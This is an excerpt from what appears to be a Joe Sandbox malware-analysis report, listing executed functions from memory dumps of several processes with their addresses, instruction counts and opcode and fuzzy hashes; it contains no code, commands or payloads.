              Function 00007FFD9B800BD3 Relevance: .0, Instructions: 41COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0ed9e469806878b8b7fbf8e62ffc179c39d405540d6ff1eb7b49153841b18c67
              • Instruction ID: edd9c475e67b5bc70c4d0fda0e81571cc7e4a5efe6a9d841f3760505a0d06914
              • Opcode Fuzzy Hash: 0ed9e469806878b8b7fbf8e62ffc179c39d405540d6ff1eb7b49153841b18c67
              • Instruction Fuzzy Hash: CA011E70E1A12F8EEB60DBE4C4642FEB6F0AF08745F110576D099B22A2DB386744CB94
              Function 00007FFD9B801494 Relevance: .0, Instructions: 38COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: a201ad016cb85b810b21cc87c8c8cd65a46ebb9292f0e13abb08a26db4bb5e82
              • Instruction ID: 748283c435cd80b1c996fd45238712b6ba3f12d3a271beb14025ce059184fb5e
              • Opcode Fuzzy Hash: a201ad016cb85b810b21cc87c8c8cd65a46ebb9292f0e13abb08a26db4bb5e82
              • Instruction Fuzzy Hash: 3F01C830E1A51ECFEB64EB84D8946ECB7B5FF49350F510169E049A32A1DA746A40CB00
              Function 00007FFD9B808588 Relevance: .0, Instructions: 36COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 5fc5683ebcebabfb31fa5e651b665dad18fd5a9db1e4c746daa3bb4eacf46e2b
              • Instruction ID: f544615931cf5fb4d07b2db33e59b5cfa324f0daf3065175075a13742bc8779c
              • Opcode Fuzzy Hash: 5fc5683ebcebabfb31fa5e651b665dad18fd5a9db1e4c746daa3bb4eacf46e2b
              • Instruction Fuzzy Hash: 88F0F930E1A50E9EEB90EFA9981C6FE76E4FF18344F410836E42DD21A0DA34A6508B40
              Function 00007FFD9B80144B Relevance: .0, Instructions: 35COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 086972de98e0384994464bc27acb56491468512fab79741f099b2651fed6fbed
              • Instruction ID: 2e523a69e99af6e078b4c56b4bc6f6ed8a339aeb7dc7ed356277fbf7517c1bb2
              • Opcode Fuzzy Hash: 086972de98e0384994464bc27acb56491468512fab79741f099b2651fed6fbed
              • Instruction Fuzzy Hash: 86F03171E0591E8FDBA4EF94C890AED73E2FF99350F114569D419E72A0DF34AE428B40
              Function 00007FFD9B814B50 Relevance: .0, Instructions: 32COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 4bb4e6dd1619cb7b5eec559b0b5a6b03317e39cf3f034171b52e8c6cf24f7302
              • Instruction ID: f0cbd3bac0d0b093fe8a9f9998dba7eec9942c93d0bc47bd31cc43a7200c9f68
              • Opcode Fuzzy Hash: 4bb4e6dd1619cb7b5eec559b0b5a6b03317e39cf3f034171b52e8c6cf24f7302
              • Instruction Fuzzy Hash: 9DF0303095F7CD9FD7529B7488696E93FB0EF0A201F4A04E7D448CA0E3DA286644CB22
              Function 00007FFD9B8013FB Relevance: .0, Instructions: 5COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 9c9a72da79fdff7cb816d3daff56040d8ad72616021844f2cd71a26563b5a603
              • Instruction ID: 500d898cc0f7628a5bb7e72a3afff5d056e87dda4ba43be80117f53e1a3ec3e9
              • Opcode Fuzzy Hash: 9c9a72da79fdff7cb816d3daff56040d8ad72616021844f2cd71a26563b5a603
              • Instruction Fuzzy Hash: 60A00130B6E41E8AE678A79498A15FC626A6F8E790F522534E08EA31E29D186A019600

              Executed Functions

              Function 00007FFD9B7C1589 Relevance: .2, Instructions: 172COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 95dcffaf449f4337ab31046b55a9f6f63e53e13ca33bc7e49ea0c33b10c15897
              • Instruction ID: b15585ae88b6b8a52984c9d98d167d96f752d9154180b0539382d3c807eaa91d
              • Opcode Fuzzy Hash: 95dcffaf449f4337ab31046b55a9f6f63e53e13ca33bc7e49ea0c33b10c15897
              • Instruction Fuzzy Hash: 7F516B71E1A64D9FDB65EBA4D8646FC7BB0EF45300F1502BAD009E72B2DA386A45CB40
              Function 00007FFD9B7C18E8 Relevance: .2, Instructions: 170COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 8c633f0a12496d023061953acda1350ebaba4c1e95f16038a99989812b435905
              • Instruction ID: 90bc43eabd8b8766b79771cbb217a344c9615a6b60a5d399b0aa747a6ff98097
              • Opcode Fuzzy Hash: 8c633f0a12496d023061953acda1350ebaba4c1e95f16038a99989812b435905
              • Instruction Fuzzy Hash: 86414837A0C6655FD700FBBCFC549ED3B64EF81235B0486B7D088CA09BDE2421458790
              Function 00007FFD9B7CEC40 Relevance: .2, Instructions: 152COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 3af091e293ce9df5062cd3cdecec5fa60a8ce30090140cc5be2113b1a814a2e5
              • Instruction ID: d14c60cba34ee4ebf6fec7ad2db53abbf4aa39103d382171c8622a3b0c182602
              • Opcode Fuzzy Hash: 3af091e293ce9df5062cd3cdecec5fa60a8ce30090140cc5be2113b1a814a2e5
              • Instruction Fuzzy Hash: 49411A71E09A5D9FDFA4EF98C895AFDBBF1FB58310F01016AD00DE72A1DA3469818B40
              Function 00007FFD9B7C0B8D Relevance: .1, Instructions: 113COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: b81bcc22a4f4e4ffe4a384fabd283d5561746ff9cdfbe43b5cbaf11044b96b27
              • Instruction ID: df3ebf90be317bc11082f3d23e6ead8d48bb910429b1c2bb4027e260a131363f
              • Opcode Fuzzy Hash: b81bcc22a4f4e4ffe4a384fabd283d5561746ff9cdfbe43b5cbaf11044b96b27
              • Instruction Fuzzy Hash: C8417170E0A65E9FEB60EFA4C8646FE77F1EF05704F010279D009E72B6DA7866448B91
              Function 00007FFD9B7C118F Relevance: .1, Instructions: 99COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0b742bc160cfe4eae30df500a931f0e24b673fa67acfe876ff02cebd9b413a34
              • Instruction ID: f74689671053c5a3dbfde188989be5dd5bf11c76c8d11b898ee34c43758ae933
              • Opcode Fuzzy Hash: 0b742bc160cfe4eae30df500a931f0e24b673fa67acfe876ff02cebd9b413a34
              • Instruction Fuzzy Hash: B7419270E1561D9FEBA4EBA8D865ABCB7B1FF48700F410179D00DE32A2DE346A818B51
              Function 00007FFD9B7C0DE9 Relevance: .1, Instructions: 93COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: f39080be2f02e53209900b8e062dcadc3cacbcdc15cb2b198257b783f93f220f
              • Instruction ID: 52b47fda2b1b22f1e8a7ae241e1b05c90a47ce9ea6b7638f3148a339a8772d9a
              • Opcode Fuzzy Hash: f39080be2f02e53209900b8e062dcadc3cacbcdc15cb2b198257b783f93f220f
              • Instruction Fuzzy Hash: AE315B70E4A31D9FEB20FBA4C4247FD7BF0AF19710F114269D009E62A2CB786A44CB95
              Function 00007FFD9B7C12B7 Relevance: .1, Instructions: 93COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 8e2ac0c893798ea9571068a7cecb9c3a682d54a9bf079f790d993b6430df7ed2
              • Instruction ID: 3a6797374644ee4d3f62a8f6c0df7d25cee6ffa38125b51880cdc06bde3b611d
              • Opcode Fuzzy Hash: 8e2ac0c893798ea9571068a7cecb9c3a682d54a9bf079f790d993b6430df7ed2
              • Instruction Fuzzy Hash: 0341A770E1561D9FEBA4EB58D865BF8B6B1FF58700F0142F9D00DE22A1DE346E808B50
              Function 00007FFD9B7C19D3 Relevance: .1, Instructions: 72COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: ded448158bd7115b92aac0b2a26838735e81a1d5622e93b3576d91962f1be777
              • Instruction ID: a47a5a35081857b91d848d713f380498005d1344c1846ef7e6b748c837f4e754
              • Opcode Fuzzy Hash: ded448158bd7115b92aac0b2a26838735e81a1d5622e93b3576d91962f1be777
              • Instruction Fuzzy Hash: 35112B76A0F38D6FD7119FA89C245EF3F64DF42221F0501FBD448C7162E5240649C761
              Function 00007FFD9B7C19C0 Relevance: .1, Instructions: 60COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: abd07a933150b67cabbf8dddba32b1b0016fc5bc934c3c3a6f14ecca05db45b2
              • Instruction ID: f8e672541bb5243de316e3436132e44796a16ea85e0e01d7f3709c5da6110186
              • Opcode Fuzzy Hash: abd07a933150b67cabbf8dddba32b1b0016fc5bc934c3c3a6f14ecca05db45b2
              • Instruction Fuzzy Hash: D211C66290E7CD6FD712ABA49C645FE3FB0EF02214F0901FBD448C76A3E9285658C751
              Function 00007FFD9B7C19C8 Relevance: .1, Instructions: 56COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: c4606351ce1570b495c30553c0645e9923537968d2e73c20b832b65ae0c027aa
              • Instruction ID: 369339b0bbd0c03b08015c14dea716af8f110a3ef8809f644e1fc5e124c6cffc
              • Opcode Fuzzy Hash: c4606351ce1570b495c30553c0645e9923537968d2e73c20b832b65ae0c027aa
              • Instruction Fuzzy Hash: F811E16290F7CD6FD712ABA48C646FE3FB0EF02214F0901FBD448C66A3EA281658C751
              Function 00007FFD9B7C19B8 Relevance: .1, Instructions: 55COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: ab96c827d4398cc32225cf0954e918ec95d239901af5e54e271c845cd6e2bfa7
              • Instruction ID: a497591f52052f8a83998ada8f37321f32468d7b6238f8366b2493d83b0d7779
              • Opcode Fuzzy Hash: ab96c827d4398cc32225cf0954e918ec95d239901af5e54e271c845cd6e2bfa7
              • Instruction Fuzzy Hash: 7701261250F7C92FD3226BB49C745FE3F60DF02215F0A01FBD448C66A3E9181A49C391
              Function 00007FFD9B7C1511 Relevance: .0, Instructions: 46COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 4d1ad96bd5f2abec75be57940cf584fac15ed5ea8b63b54f810493ae8279b74e
              • Instruction ID: e78d6b05c19c1e27e97f4c6ac010d08e44b43ff662a65923e314f193df5c14ef
              • Opcode Fuzzy Hash: 4d1ad96bd5f2abec75be57940cf584fac15ed5ea8b63b54f810493ae8279b74e
              • Instruction Fuzzy Hash: B201717189E3C98FC7135BB088756A03FB0AF47214F0A05FED4998B0F3D6196926D712
              Function 00007FFD9B7C176F Relevance: .0, Instructions: 46COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: fafb5d02b550213cfaa46b5859f1c5857dbe6189e7439004de3e05f009a03c7d
              • Instruction ID: c30695d8b0665372f5d9eec662b149d8f804a68f1fc25c0ad74c025f6286b617
              • Opcode Fuzzy Hash: fafb5d02b550213cfaa46b5859f1c5857dbe6189e7439004de3e05f009a03c7d
              • Instruction Fuzzy Hash: E0018C3188E3C99FD743ABB088685E97FF0EF47214B2905EAD485CB0B3C629565AC712
              Function 00007FFD9B7C0A79 Relevance: .0, Instructions: 41COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0878d4224b7e84b86956c3d01cc50451efcd07cb2828da7b4b58ee8528fe2dfd
              • Instruction ID: c791ecc3ee3c351cf6d050ac191f81c7d49a62b3d1ea142234867ce68b57f1e1
              • Opcode Fuzzy Hash: 0878d4224b7e84b86956c3d01cc50451efcd07cb2828da7b4b58ee8528fe2dfd
              • Instruction Fuzzy Hash: 9C01D431A0E3CD5FE766AB6448642FC3FA0AF56610F4601EBD488C61F3D9285A98C740
              Function 00007FFD9B7C0BD3 Relevance: .0, Instructions: 41COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0ed9e469806878b8b7fbf8e62ffc179c39d405540d6ff1eb7b49153841b18c67
              • Instruction ID: b1b6639dcc2af3a9fda3e597131cb0a429452fa58f23bb2d3188cee9b1c01b9e
              • Opcode Fuzzy Hash: 0ed9e469806878b8b7fbf8e62ffc179c39d405540d6ff1eb7b49153841b18c67
              • Instruction Fuzzy Hash: D901BE74E0A32E9EDB60EFE4C8546FE76B0AF15705F110679D019A23B2DB7867448BD0
              Function 00007FFD9B7C148F Relevance: .0, Instructions: 39COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 6f0ccc9e0ec3e597a7e6b203600d8c7b8cb01ecc2bd5050193b0c06bf3c471fa
              • Instruction ID: 6399f9079da207dae4d28e42c85b3cd5965dfd0fac4a6fb588311013f1b05ba3
              • Opcode Fuzzy Hash: 6f0ccc9e0ec3e597a7e6b203600d8c7b8cb01ecc2bd5050193b0c06bf3c471fa
              • Instruction Fuzzy Hash: F401A970E0A61EDFDB64EB84D864AFC76B1FB55300F51027DD009A27A1DA746A40CB40
              Function 00007FFD9B7C0A90 Relevance: .0, Instructions: 35COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000D.00000002.1761724078.00007FFD9B7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7C0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_13_2_7ffd9b7c0000_TextInputHost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: a965a253b00c5ac2493c9208bd491d988d5fc019bcf103dae6f1707e5a9fd979
              • Instruction ID: dd92775eac76d9c04e132290bc8ccc438b26b2790a583febcc0e479401c28c3c
              • Opcode Fuzzy Hash: a965a253b00c5ac2493c9208bd491d988d5fc019bcf103dae6f1707e5a9fd979
              • Instruction Fuzzy Hash: B5F02430E1E74DAAEB64BBA444646FD3BA0EF15B04F41017AE48DC22F2DD3426A4C380

              Executed Functions

              Function 00007FFD9B7E87FA Relevance: 2.6, Strings: 2, Instructions: 70COMMON
              Download Yara Rule
              Strings
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E8000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e8000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID: M_^$M_^
              • API String ID: 0-615062493
              • Opcode ID: 3e4035e481e6974ffc70bdb0e5ec80ad15a058b538adc5eec85f843757ddd700
              • Instruction ID: 7c52f39e93e1bead7bd9997ff1620aed1816c49c4ed5a480c8c10bb080077a9e
              • Opcode Fuzzy Hash: 3e4035e481e6974ffc70bdb0e5ec80ad15a058b538adc5eec85f843757ddd700
              • Instruction Fuzzy Hash: 91118731E2A78E9FD7129B6868689E93BA0EF02314F1602FBDC78C60F3EE245555C751
              Function 00007FFD9B7E97A1 Relevance: .4, Instructions: 360COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E8000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e8000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 1569c2839475015f1478e4f96abfd2d4792b6d144084d3c6ba1dc0495bab95ef
              • Instruction ID: d2a1ecf62ff725633b356cfe8af81800f102cbd244bdd1eace74043acff11bf1
              • Opcode Fuzzy Hash: 1569c2839475015f1478e4f96abfd2d4792b6d144084d3c6ba1dc0495bab95ef
              • Instruction Fuzzy Hash: 33D11A71E1965D8FDBA8DFA8C8A5BBCB7A1FF58300F4501B9D00DE72A2DA346940CB40
              Function 00007FFD9B7E1869 Relevance: .2, Instructions: 229COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0dcf62ad67a80db00903dc84dcc488b8cae2c52bdd9f3424e1998cedf6f88329
              • Instruction ID: 9e90ce983b808709f067009d85f213397c2f237d585efa945da88ba6dc3b5d54
              • Opcode Fuzzy Hash: 0dcf62ad67a80db00903dc84dcc488b8cae2c52bdd9f3424e1998cedf6f88329
              • Instruction Fuzzy Hash: F3610827B087A54FC711BBBCB8655DD7B70EF8136AB0985B7C189CA097DE182405C7C1
              Function 00007FFD9B7E98B2 Relevance: .2, Instructions: 211COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E8000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e8000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: b23e2ccb351b42cb3b9a061d3d14f749c10aa4ea65e3939577f26e46d9bdbe8c
              • Instruction ID: beda35f904131e36c3d9709b0fdebbe5435747a02aeddcf51c813234191ce1aa
              • Opcode Fuzzy Hash: b23e2ccb351b42cb3b9a061d3d14f749c10aa4ea65e3939577f26e46d9bdbe8c
              • Instruction Fuzzy Hash: 0F711D71A19A5D8FDBA8EF58C8A5BBCB7A2FF94300F4441B9D00DD72A6DE346940CB01
              Function 00007FFD9B7E1589 Relevance: .2, Instructions: 173COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 92922ee31766b1bc6e2df55a9284bddd01f0538d2ecca77112b9641d22aabf52
              • Instruction ID: a2265b0448cb580a7009390738735c57d84daf3c66761d35a7c0bb3101b3ced5
              • Opcode Fuzzy Hash: 92922ee31766b1bc6e2df55a9284bddd01f0538d2ecca77112b9641d22aabf52
              • Instruction Fuzzy Hash: 20515C71E1A64D8FDB65DBA4C8666EC7BF0EF45300F0502BAD00AE71B2DA386A45CB11
              Function 00007FFD9B7EEC21 Relevance: .2, Instructions: 171COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7ec000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0f3aea7aa63d8797ad9184a9075aca2fc818afd97caac9ff47ad8af500ac9929
              • Instruction ID: 943c15c6216e4ae77c695b83fc0051f67298a6a820acbec55982cd79e08bea2c
              • Opcode Fuzzy Hash: 0f3aea7aa63d8797ad9184a9075aca2fc818afd97caac9ff47ad8af500ac9929
              • Instruction Fuzzy Hash: 06510A71E09A5D8FDBA4EB98D895BECBBF1FF58300F11056AD00DE72A2DA3469418B40
              Function 00007FFD9B7E18E8 Relevance: .2, Instructions: 170COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 781476b35d954c16ca03ea5cc6284c92551fcbbb149b54a6f8111145e3bf6644
              • Instruction ID: a2cc027b6e2cd7570e86d331c309ca368894c9115f1b277ddb29c8f9b6e8f240
              • Opcode Fuzzy Hash: 781476b35d954c16ca03ea5cc6284c92551fcbbb149b54a6f8111145e3bf6644
              • Instruction Fuzzy Hash: DE415A27B0CA654BD700BBBCBC656EC7B60EF81376B0885B7D189CA097DE242505C7C1
              Function 00007FFD9B7EEC40 Relevance: .2, Instructions: 161COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7ec000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 30cba7d70a991490b38fc292b4798d8127cc7a2b1a928983c5702310d5dd7bc2
              • Instruction ID: 515152c82429547ccb8e92a85bcb8440f2c1d4029e83b60fe8158f70d2f1163c
              • Opcode Fuzzy Hash: 30cba7d70a991490b38fc292b4798d8127cc7a2b1a928983c5702310d5dd7bc2
              • Instruction Fuzzy Hash: 5E51F871E09A5D8FDFA4EB98D895BECBBF1FF58300F10056AD01DE72A5DA3469818B40
              Function 00007FFD9B7EE3A8 Relevance: .1, Instructions: 127COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7ec000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 82980a0747be41809f4e7d7f223a5475e80e803ef190acf680133b7f983d27ee
              • Instruction ID: dbde35a2826ba86c5fa8b2d6c9eae29a45c19599f96409c57b128b185e6530de
              • Opcode Fuzzy Hash: 82980a0747be41809f4e7d7f223a5475e80e803ef190acf680133b7f983d27ee
              • Instruction Fuzzy Hash: 10418130E1968D8FDB55EBE4D8656EDBBB0FF49310F0501B6E008E72A3CA386945CB91
              Function 00007FFD9B7E8C90 Relevance: .1, Instructions: 119COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E8000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e8000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 36d575f28b93cde43c85aec05fb957673b198d52edbdb6a5b26a7bb0a2ae6530
              • Instruction ID: f4bea1196cbcf665afdfb37d9082fc79d676f10575af276744ffd9f25512b48f
              • Opcode Fuzzy Hash: 36d575f28b93cde43c85aec05fb957673b198d52edbdb6a5b26a7bb0a2ae6530
              • Instruction Fuzzy Hash: 1831EE74E19A1D8FEBA4EB98E4A56FCB7B1FF58300F511239D00DE32B2DE2469419B10
              Function 00007FFD9B7EDD3D Relevance: .1, Instructions: 118COMMON
